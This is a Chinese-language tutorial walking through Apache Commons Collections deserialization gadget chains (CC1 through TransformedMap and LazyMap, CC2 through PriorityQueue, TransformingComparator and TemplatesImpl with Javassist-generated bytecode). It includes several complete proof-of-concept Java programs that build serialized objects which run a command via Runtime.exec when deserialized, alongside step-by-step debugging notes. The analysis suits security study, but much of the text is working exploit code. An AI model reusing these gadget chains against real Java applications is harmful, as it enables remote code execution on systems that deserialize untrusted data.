CC链分析
CC链1
环境部署

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
流程分析
入口:org.apache.commons.collections.Transformer

其中有21个实现方法
我们这里找到了有重写transform方法的InvokerTransformer类,并且可以看到它也继承了Serializable,很符合我们的要求

入口类:org.apache.commons.collections.functors.InvokerTransformer,它的transform方法使用了反射来调用input的方法
input,iMethodName,iParamTypes,iArgs都是可控的

java
//我们来回顾一下如何利用反射调用Runtime中的exec方法
Runtime r=Runtime.getRuntime();
Class c=r.getclass();
Method m=c.getMethod("exec",String.class);
m.invoke(r,"calc");
//那么我们尝试用transform方法来调用
Runtime runtime = Runtime.getRuntime();
InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
exec.transform(runtime);

可以看到,成功执行了命令,那么我们就找到了源头利用点了,接下来就是一步步回溯,寻找合适的子类,构造漏洞链,直到到达重写了readObject的类
寻找某个类中的某个方法调用了transform方法
看到org.apache.commons.collections.map.TransformedMap下的checkSetValue
java
//我们找到该类的构造器和checkSetValue方法
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
//接受三个参数,第一个为Map,第二个和第三个就是Transformer我们需要得了,可控。
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;//这里是可控的
}
protected Object checkSetValue(Object value) {//接受一个对象类型的参数
return this.valueTransformer.transform(value);
//返回valueTransformer对应的transform方法,那么我们这里就需要让valueTransformer为我们之前的in
}
但是这里有个问题,可以看到构造器和方法都是proteced权限,也就是说只能本类内部访问,不能外部调用去实例化,那么我们就需要找到内部实例化的工具,这里往上查找,可以找到一个public的静态方法decorate
一个静态 方法,这里我们就能控制参数

现在调用transform方法的问题解决了,返回去看checkSetValue,可以看到value我们暂时不能控制,全局搜索checkSetvalue,看谁调用了它,并且value值可受控制
寻找合适的调用了checkSetValue的方法
在AbstractInputCheckedMapDecorator类中发现,凑巧的是,它刚好是TransformedMap的父类


当我们看到了setValue字样就应该想起来,我们在遍历集合的时候就用过setValue和getValue,所以我们只要对decorate这个map进行遍历setValue,由于``TransformedMap继承了 AbstractInputCheckedMapDecorator`类,因此当调用setValue时会去父类寻找
重新梳理一遍
首先,我们找到了TransformedMap这个类,我们想要调用其中的checkSetValue方法,但是这个类的构造器是protected权限,只能类中访问,所以我们调用decorate方法来实例化这个类,在此之前我们先实例化了一个HashMap,并且调用了put方法给他赋了一个键值对,然后把这个map当成参数传入,实例化成了一个transformedmap对象,这个对象也是Map类型的,然后我们对这个对象进行遍历,在遍历过程中我们可以调用setValue方法,而恰好又遇到了一个重写了setValue的副类,这个重写的方法刚好调用了checkSetValue方法
java
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class second {
public static void main(String[] args) {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
map.put("1","2");
Map<Object, Object> decorate = TransformedMap.decorate(map, null, invokerTransformer);
for (Map.Entry entry:decorate.entrySet()){
entry.setValue(r);
}
}
}

但这只是一个插曲,终究不是我们所希望的readObject方法,我们需要一个readObject方法来代替上述的遍历Map功能
追寻setValue
追踪一下setValue看是在哪调用的,在AnnotationInvocationHandler中找到,而且还是在重写的readObject中调用的setValue

java
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
ObjectInputStream.GetField fields = s.readFields();
@SuppressWarnings("unchecked")
Class<? extends Annotation> t = (Class<? extends Annotation>)fields.get("type", null);
@SuppressWarnings("unchecked")
Map<String, Object> streamVals = (Map<String, Object>)fields.get("memberValues", null);
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(t);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// consistent with runtime Map type
Map<String, Object> mv = new LinkedHashMap<>();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : streamVals.entrySet()) {
String name = memberValue.getKey();
Object value = null;
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
value = new AnnotationTypeMismatchExceptionProxy(
objectToString(value))
.setMember(annotationType.members().get(name));
}
}
mv.put(name, value);
}

我们分析下这个类,未用public声明,说明只能通过反射调用
查看一下构造方法,传入一个class和Map,其中class继承了Annotation,也就是需要传入一个注解类进去,这里我们选择Target

java
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class third {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
map.put("1","2");
Map<Object, Object> decorate = TransformedMap.decorate(map, null, invokerTransformer);
// for (Map.Entry entry:decorate.entrySet()){
// entry.setValue(r);
// }
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
Object o = declaredConstructor.newInstance(Target.class, decorate);
}
}
现在有个难题是Runtime类是不能被序列化的,但是反射来的类可以被序列化的,还好InvokeTransformer有一个绝佳的反射机制,构造一下:
java
Method RuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(RuntimeMethod);
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
现在还有个小问题,其中我们的transformedmap是传入了一个invokertransformer,但是现在这个对象没有了,被拆成了多个,就是上述的代码,得想办法统合起来,这里就需要回到最初的Transformer接口里去寻找,找到ChainedTransformer,刚好这个方法是递归调用数组里的transform方法

我们就可以这样构造:
java
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("1","2");
Map<Object, Object> decorate = TransformedMap.decorate(map, null, chainedTransformer);
进一步构造
java
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class third {
public static void serialize(Object obj) throws IOException {
FileOutputStream fos = new FileOutputStream("cc1.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
}
public static void deserialize(String filenaem) throws IOException, ClassNotFoundException {
FileInputStream fis = new FileInputStream(filenaem);
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
}
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("1","2");
Map<Object, Object> decorate = TransformedMap.decorate(map, null, chainedTransformer);
// for (Map.Entry entry:decorate.entrySet()){
// entry.setValue(r);
// }
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
Object o = declaredConstructor.newInstance(Target.class, decorate);
serialize(o);
deserialize("cc1.bin");
}
}
但是这里反序列化并不能执行命令,原因在于AnnotationInvocationHandler里触发setValue是有条件的,我们调试追踪进去看看

要想触发setValue得先过两个if判断,先看第一个if判断,memberType不为空,memberType其实就是我们之前传入的注解类Target的一个属性,这个属性是哪里来的?就是我们最先传入的map map.put("1","2")
获取这个name: 1 ,获取1这个属性,很明显我们的Target注解类是没有1这个属性的,我们看一下Target类

Target是有value这个属性的,所以我们改一下map,map.put("value",1),这样我们就过了第一个if,接着第二个if,这里value只要有值就过了,成功到达setValue,但这里还有最后一问题,如何让他调用Runtime.class?这里又得提到一个类,ConstantTransformer,这个类的特点就是我们传入啥,它直接就返回啥

java
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class third {
public static void serialize(Object obj) throws IOException {
FileOutputStream fos = new FileOutputStream("cc1.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
}
public static void deserialize(String filename) throws IOException, ClassNotFoundException {
FileInputStream fis = new FileInputStream(filename);
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
}
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value","1");
Map<Object, Object> decorate = TransformedMap.decorate(map, null, chainedTransformer);
// for (Map.Entry entry:decorate.entrySet()){
// entry.setValue(r);
// }
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Target.class, decorate);
serialize(o);
deserialize("cc1.bin");
}
}
这里要注意降低 JDK 版本到 8u40
以上是其中一条CC1,还有另一条CC1,是从LazyMap入手,我们也来分析一下,在LazyMap的get方法里调用了transform

再去看它的构造方法,factory需要我们控制,同样在类内部找哪里调用了这个构造方法

很明显,跟之前类似,就是从checkValue换到了get

那么get在哪里调用的,还是在AnnotationInvocationHandler,它的invoke方法调用了get
java
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();
// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");
switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}
// Handle annotation member accessors
Object result = memberValues.get(member);
if (result == null)
throw new IncompleteAnnotationException(type, member);
if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();
if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);
return result;
}
这里是个动态代理,我们可以用AnnotationInvocationHandler来代理LazyMap,这样就会触发invoke方法
java
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CC1_LazyMap {
public static void serialize(Object obj) throws IOException {
try (FileOutputStream fos = new FileOutputStream("cc1_lazymap.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos)) {
oos.writeObject(obj);
}
}
public static void deserialize(String filename) throws IOException, ClassNotFoundException {
try (FileInputStream fis = new FileInputStream(filename);
ObjectInputStream ois = new ObjectInputStream(fis)) {
ois.readObject();
}
}
public static void main(String[] args) throws Exception {
// 1. 构造执行命令的 Transformer 链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// 2. 构造 LazyMap(关键:先不执行,避免序列化时触发)
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
// 3. 获取 AnnotationInvocationHandler 构造器
Class<?> handlerClazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = handlerClazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
// 4. 直接构造 AnnotationInvocationHandler,不需要 Proxy!
Object handler = constructor.newInstance(Target.class, lazyMap);
// 5. 序列化 + 反序列化触发
serialize(handler);
deserialize("cc1_lazymap.bin");
}
}
CC链2
环境部署
xml
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.22.0-GA</version>
</dependency>
前置知识(POC1)
Java cc链是什么,cc指的是commons-collections依赖库。它添加了许多强大的数据结构类型并且实现了各种集合工具类。
它被广泛的用于Java应用开发中。
PriorityQueue
PriorityQueue优先级队列是基于优先级堆的一种特殊队列,会给每个元素定义出"优先级",取出数据的时候会按照优先级来取。
默认优先级队列会根据自然顺序来对元素排序。
而想要放入PriorityQueue的元素,就必须实现Comparable接口,PriorityQueue会根据元素的排序顺序决定出队的优先级。
如果没有实现 Comparable 接口,PriorityQueue 还允许我们提供一个 Comparator 对象来判断两个元素的顺序。

可以看到它继承了AbstractQueue抽象类并且实现了Serializable接口,这就说明它支持反序列化,再来看看它重写的readObject()方法

可以看到上面的方法会调用ObjectInputStream的实例化对象s把queue中的数据进行反序列化
最后再用heapify();来对数据进行排序,再跟进一下heapify()方法
该方法调用siftDown()方法

当i>=0时进入for循环,而i=(size >>> 1)-1将size进行了右移操作,所以size>1才能进入循环

在comparator属性不为空的情况下,调用siftDownUsingComparator()方法

如果为空会创建Comparable比较器并调用compare()方法来排序

这样反序列化后的优先级队列就有了顺序
TransformingComparator
这是触发漏洞的关键点,把Transformer执行点和PriorityQueue触发点结合起来
用Transformer来装饰一个Comparator(比较器),通俗点说就是先把值给Transformer转换,再传递给Comparator比较

compare()方法会先用this.transformer.transform(obj1)方法来转换两个要比较的值
然后再调用compare()方法比较。
POC1分析
java
package com.example.cc2;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class POC1 {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(1, Tcomparator);
queue.add(1);
queue.add(2);
try{
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc2.txt"));
outputStream.writeObject(queue);
outputStream.close();
System.out.println(barr.toString());
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc2.txt"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
通过反射获取Runtime对象


当调用ChainedTransformer的transformer方法时,对transformers数组进行回调,从而执行命令;将transformerChain传入TransformingComparator,从而调用transformer方法;new一个PriorityQueue对象,传入一个整数参数,且传入的数值不能小于1,再将Tcomparator传入

前面说到,size的值要大于1,所以向queue中添加两个元素
添加上序列化和反序列化代码后,能成功执行命令,但是没有生成序列化文件,也就是没cc2.txt
调试代码看一看,跟进PriorityQueue类,这里comparator参数是我们传入的Tcomparator

继续跟,跟进queue.add(2),调用了offer方法

跟进offer方法,进入else分支,调用了siftup方法

跟进siftUp方法,comparator参数不为null,进入if分支,调用siftUpUsingComparator方法

继续跟

跟进,这里会执行两次命令;

但是return的值为0,程序就结束了,并没有执行poc后面序列化和反序列化的代码。
那么如何让return不为0呢
既然调用siftUpUsingComparator方法会出错,那试试调用siftUpComparable,即comparator参数为null,修改代码,不传入comparator参数
PriorityQueue queue = new PriorityQueue(1);
再调试看看
这下comparator参数为null;

照样进入queue.add(2),到siftUp方法,就进入else分支,调用siftUpComparable方法

这样就只是单纯给queue[1]

返回后就执行序列化代码生成了cc2.txt,但是并没有执行命令,还是不行
上面修改后的代码没有调用到compare方法,我们可以在向queue中添加元素后,通过反射将Tcomparator传入到queue的comparator参数
java
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue,Tcomparator);
这样comparator参数就不为null,当反序列化时调用readObject方法就会进入siftUpUsingComparator方法,调用compare方法,从而执行命令
完整poc1
java
package com.example.cc2;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class POC1 {
public static void main(String[] args) throws IllegalAccessException, ClassNotFoundException, NoSuchFieldException {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(1);
queue.add(1);
queue.add(2);
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue,Tcomparator);
try{
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc2.txt"));
outputStream.writeObject(queue);
outputStream.close();
System.out.println(barr.toString());
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc2.txt"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
前置知识(POC2)
Javassit
简述:
Javassist是一个开源的分析、编辑和创建Java字节码的类库,可以直接编辑和生成Java生成的字节码。
能够在运行时定义新的Java类,在JVM加载类文件时修改类的定义。
Javassist类库提供了两个层次的API,源代码层次和字节码层次。源代码层次的API能够以Java源代码的形式修改Java字节码。字节码层次的API能够直接编辑Java类文件。
下面大概讲一下POC中会用到的类和方法:
ClassPool
ClassPool是CtClass对象的容器,它按需读取类文件来构造CtClass对象,并且保存CtClass对象以便以后使用,其中键名是类名称,值是表示该类的CtClass对象。
常用方法:
static ClassPool getDefault():返回默认的ClassPool,一般通过该方法创建我们的ClassPool;ClassPath insertClassPath(ClassPath cp):将一个ClassPath对象插入到类搜索路径的起始位置;ClassPath appendClassPath:将一个ClassPath对象加到类搜索路径的末尾位置;CtClass makeClass:根据类名创建新的CtClass对象;CtClass get(java.lang.String classname):从源中读取类文件,并返回对CtClass 表示该类文件的对象的引用;
CtClass
CtClass类表示一个class文件,每个CtClass对象都必须从ClassPool中获取
常用方法:
void setSuperclass(CtClass clazz):更改超类,除非此对象表示接口;byte[] toBytecode():将该类转换为类文件;CtConstructor makeClassInitializer():制作一个空的类初始化程序(静态构造函数);
示例代码
java
package com.example.cc2;
import javassist.*;
public class javassit_test {
public static void createPerson() throws Exception{
//实例化一个ClassPool容器
ClassPool pool = ClassPool.getDefault();
//新建一个CtClass,类名为Cat
CtClass cc = pool.makeClass("Cat");
//设置一个要执行的命令
String cmd = "System.out.println(\"javassit_test succes!\");";
//制作一个空的类初始化,并在前面插入要执行的命令语句
cc.makeClassInitializer().insertBefore(cmd);
//重新设置一下类名
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
//将生成的类文件保存下来
cc.writeFile();
//加载该类
Class c = cc.toClass();
//创建对象
c.newInstance();
}
public static void main(String[] args) {
try {
createPerson();
} catch (Exception e){
e.printStackTrace();
}
}
}

新生成的类是这样子的,其中有一块static代码
当该类被实例化的时候,就会输出static里的语句
TemplatesImpl
TemplatesImpl 加载 _bytecodes 中的字节码时,会用 TransletClassLoader 加载并实例化AbstractTranslet这个类。
这个被加载的类,必须继承 AbstractTranslet ,否则 TemplatesImpl 的 getTransletInstance() 方法会抛出 ClassCastException,直接中断加载流程。

我们写一个demo
在这个类的无参构造方法或静态代码块中写入恶意代码,再借 TemplatesImpl 之手实例化这个类触发恶意代码。
POC2分析
在ysoserial的cc2中引入了Templateslmpl类来进行承载攻击payload,需要用到javassit
POC2
java
package com.example.cc2;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.PriorityQueue;
public class POC2 {
public static void main(String[] args) throws Exception {
Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");
TransformingComparator Tcomparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(1);
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
//cc.writeFile();
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "blckder02");
setFieldValue(templates, "_class", null);
Object[] queue_array = new Object[]{templates,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);
Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);
Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,Tcomparator);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2.bin"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2.bin"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}

通过反射实例化InvokerTransformer对象,设置InvokerTransformer的methodName为newTransformer

实例化一个TransformingComparator对象,将transformer传进去
实例化一个PriorityQueue对象,传入不小于1的整数,comparator参数为null

java
//实例化一个ClassPool容器
ClassPool pool = ClassPool.getDefault();
//向pool容器类搜索路径的起始位置插入AbstractTranslet.class
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
//新建一个CtClass,类名为Cat
CtClass cc = pool.makeClass("Cat");
//设置一个要执行的命令
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
//制作一个空的类初始化,并在前面插入要执行的命令语句
cc.makeClassInitializer().insertBefore(cmd);
//重新设置一下类名,生成的类的名称就不再是Cat
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
//将生成的类文件保存下来
cc.writeFile();
//设置AbstractTranslet类为该类的父类
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
//将该类转换为字节数组
byte[] classBytes = cc.toBytecode();
//将一维数组classBytes放到二维数组targetByteCodes的第一个元素
byte[][] targetByteCodes = new byte[][]{classBytes};
这段代码会新建一个类,并添加了一个static代码块


使用Templateslmpl的空参构造方法实例化一个对象
再通过反射对各个字段进行赋值

新建一个对象数组,第一个元素为templates,第二个元素为1
然后通过反射将改数组传到queue中

通过反射将queue的size设为2,与POC1中使用两个add意思一样

通过反射给queue的comparator参数赋值


从PriorityQueue.readObject()方法看起,queue变量就是我们传入的templates和1,size也是我们传入的2

跟进siftDown方法,comparator参数就是我们传入的TransformingConparator实例化的对象

到TransformingComparator的compare方法,obj1就是我们传入的templates,这里this.transformer就是我们传入的transformer

跟到InvokerTransformer.transform(),input就是前面的obj1,this.iMethodName的值为传入的newTransformer,因为newTransformer方法中调用到了getTransletInstance方法
接着调用templates的newTransformer方法,而templates是Templateslmpl类的实例化对象,也就是调用TransformerImpl.newTransformer()

进行if判断,_name不为空,_class为空,才能进入defineTransletClasses方法
这就是原来poc中代码赋值的原因


跟进defineTransletClasses方法
_bytecodes也不能为null,是我们传入的targetByteCodes,也就是下面的内容,转换成字节数组

再往下debug

通过loader.defineClass 将字节数组还原为Class对象,_class[0]就是javassit新建的类EvilCatxxxx

再获取它的父类,检测父类是否为ABSTRACT_TRANSLET,这就是要设置AbstractTranslet类为新建的父类
给_transletIndex赋值为0后,返回到getTransletInstance方法,那么该类中的static代码部分就会执行,成功执行命令
